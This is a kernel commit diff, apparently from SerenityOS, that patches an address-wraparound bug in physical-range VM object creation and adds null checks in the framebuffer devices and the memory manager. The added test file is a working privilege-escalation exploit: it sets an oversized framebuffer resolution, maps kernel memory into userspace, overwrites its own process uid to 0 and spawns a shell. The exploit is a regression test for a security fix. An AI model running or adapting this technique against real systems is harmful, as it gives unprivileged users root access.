diff options
-rw-r--r-- | Kernel/Devices/BXVGADevice.cpp | 4 | ||||
-rw-r--r-- | Kernel/Devices/MBVGADevice.cpp | 4 | ||||
-rw-r--r-- | Kernel/VM/AnonymousVMObject.cpp | 6 | ||||
-rw-r--r-- | Kernel/VM/AnonymousVMObject.h | 2 | ||||
-rw-r--r-- | Kernel/VM/MemoryManager.cpp | 7 | ||||
-rw-r--r-- | Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp | 92 |
6 files changed, 109 insertions, 6 deletions
diff --git a/Kernel/Devices/BXVGADevice.cpp b/Kernel/Devices/BXVGADevice.cpp index 714096f586..47730d9936 100644 --- a/Kernel/Devices/BXVGADevice.cpp +++ b/Kernel/Devices/BXVGADevice.cpp @@ -116,10 +116,12 @@ KResultOr<Region*> BXVGADevice::mmap(Process& process, FileDescription&, Virtual ASSERT(offset == 0); ASSERT(size == framebuffer_size_in_bytes()); auto vmobject = AnonymousVMObject::create_for_physical_range(m_framebuffer_address, framebuffer_size_in_bytes()); + if (!vmobject) + return KResult(-ENOMEM); auto* region = process.allocate_region_with_vmobject( preferred_vaddr, framebuffer_size_in_bytes(), - move(vmobject), + vmobject.release_nonnull(), 0, "BXVGA Framebuffer", prot); diff --git a/Kernel/Devices/MBVGADevice.cpp b/Kernel/Devices/MBVGADevice.cpp index c8ca9f6177..6ec0d1aa87 100644 --- a/Kernel/Devices/MBVGADevice.cpp +++ b/Kernel/Devices/MBVGADevice.cpp @@ -55,10 +55,12 @@ KResultOr<Region*> MBVGADevice::mmap(Process& process, FileDescription&, Virtual ASSERT(offset == 0); ASSERT(size == framebuffer_size_in_bytes()); auto vmobject = AnonymousVMObject::create_for_physical_range(m_framebuffer_address, framebuffer_size_in_bytes()); + if (!vmobject) + return KResult(-ENOMEM); auto* region = process.allocate_region_with_vmobject( preferred_vaddr, framebuffer_size_in_bytes(), - move(vmobject), + vmobject.release_nonnull(), 0, "MBVGA Framebuffer", prot); diff --git a/Kernel/VM/AnonymousVMObject.cpp b/Kernel/VM/AnonymousVMObject.cpp index 1b1dfe3ed4..60e905f4ec 100644 --- a/Kernel/VM/AnonymousVMObject.cpp +++ b/Kernel/VM/AnonymousVMObject.cpp @@ -32,8 +32,12 @@ NonnullRefPtr<AnonymousVMObject> AnonymousVMObject::create_with_size(size_t size return adopt(*new AnonymousVMObject(size)); } -NonnullRefPtr<AnonymousVMObject> AnonymousVMObject::create_for_physical_range(PhysicalAddress paddr, size_t size) +RefPtr<AnonymousVMObject> AnonymousVMObject::create_for_physical_range(PhysicalAddress paddr, size_t size) { + if (paddr.offset(size) < paddr) { + dbg() << "Shenanigans! create_for_physical_range(" << paddr << ", " << size << ") would wrap around"; + return nullptr; + } return adopt(*new AnonymousVMObject(paddr, size)); } diff --git a/Kernel/VM/AnonymousVMObject.h b/Kernel/VM/AnonymousVMObject.h index 5af312f4de..29a4d19538 100644 --- a/Kernel/VM/AnonymousVMObject.h +++ b/Kernel/VM/AnonymousVMObject.h @@ -34,7 +34,7 @@ public: virtual ~AnonymousVMObject() override; static NonnullRefPtr<AnonymousVMObject> create_with_size(size_t); - static NonnullRefPtr<AnonymousVMObject> create_for_physical_range(PhysicalAddress, size_t); + static RefPtr<AnonymousVMObject> create_for_physical_range(PhysicalAddress, size_t); static NonnullRefPtr<AnonymousVMObject> create_with_physical_page(PhysicalPage&); virtual NonnullRefPtr<VMObject> clone() override; diff --git a/Kernel/VM/MemoryManager.cpp b/Kernel/VM/MemoryManager.cpp index db877a128e..9053f201f3 100644 --- a/Kernel/VM/MemoryManager.cpp +++ b/Kernel/VM/MemoryManager.cpp @@ -313,11 +313,14 @@ OwnPtr<Region> MemoryManager::allocate_kernel_region(PhysicalAddress paddr, size ASSERT(!(size % PAGE_SIZE)); auto range = kernel_page_directory().range_allocator().allocate_anywhere(size); ASSERT(range.is_valid()); + auto vmobject = AnonymousVMObject::create_for_physical_range(paddr, size); + if (!vmobject) + return nullptr; OwnPtr<Region> region; if (user_accessible) - region = Region::create_user_accessible(range, AnonymousVMObject::create_for_physical_range(paddr, size), 0, name, access, cacheable); + region = Region::create_user_accessible(range, vmobject.release_nonnull(), 0, name, access, cacheable); else - region = Region::create_kernel_only(range, AnonymousVMObject::create_for_physical_range(paddr, size), 0, name, access, cacheable); + region = Region::create_kernel_only(range, vmobject.release_nonnull(), 0, name, access, cacheable); region->map(kernel_page_directory()); return region; } diff --git a/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp b/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp new file mode 100644 index 0000000000..988860427a --- /dev/null +++ b/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp @@ -0,0 +1,92 @@ +#include <AK/Types.h> +#include <fcntl.h> +#include <stdio.h> +#include <string.h> +#include <sys/ioctl.h> +#include <sys/mman.h> +#include <unistd.h> + +int main() +{ + int fd = open("/dev/fb0", O_RDWR); + if (fd < 0) { + perror("open"); + return 1; + } + + size_t width = 17825; + size_t height = 1000; + size_t pitch = width * 4; + size_t framebuffer_size_in_bytes = pitch * height * 2; + + FBResolution original_resolution; + if (ioctl(fd, FB_IOCTL_GET_RESOLUTION, &original_resolution) < 0) { + perror("ioctl"); + return 1; + } + + FBResolution resolution; + resolution.width = width; + resolution.height = height; + resolution.pitch = pitch; + + if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &resolution) < 0) { + perror("ioctl"); + return 1; + } + + auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0); + if (ptr == MAP_FAILED) { + perror("mmap"); + return 1; + } + + printf("Success! Evil pointer: %p\n", ptr); + + u8* base = &ptr[128 * MB]; + + uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4]; + printf("base = %p\n", base); + printf("g_processes = %#08x\n", g_processes); + + auto get_ptr = [&](uintptr_t value) -> void* { + value -= 0xc0000000; + return (void*)&base[value]; + }; + + struct ProcessList { + uintptr_t head; + uintptr_t tail; + }; + + struct Process { + // 32 next + // 40 pid + // 44 uid + u8 dummy[32]; + uintptr_t next; + u8 dummy2[4]; + pid_t pid; + uid_t uid; + }; + + ProcessList* process_list = (ProcessList*)get_ptr(g_processes); + + Process* process = (Process*)get_ptr(process_list->head); + + printf("{%p} PID: %d, UID: %d, next: %#08x\n", process, process->pid, process->uid, process->next); + + if (process->pid == getpid()) { + printf("That's me! Let's become r00t!\n"); + process->uid = 0; + } + + if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &original_resolution) < 0) { + perror("ioctl"); + return 1; + } + + execl("/bin/sh", "sh", nullptr); + + return 0; +} |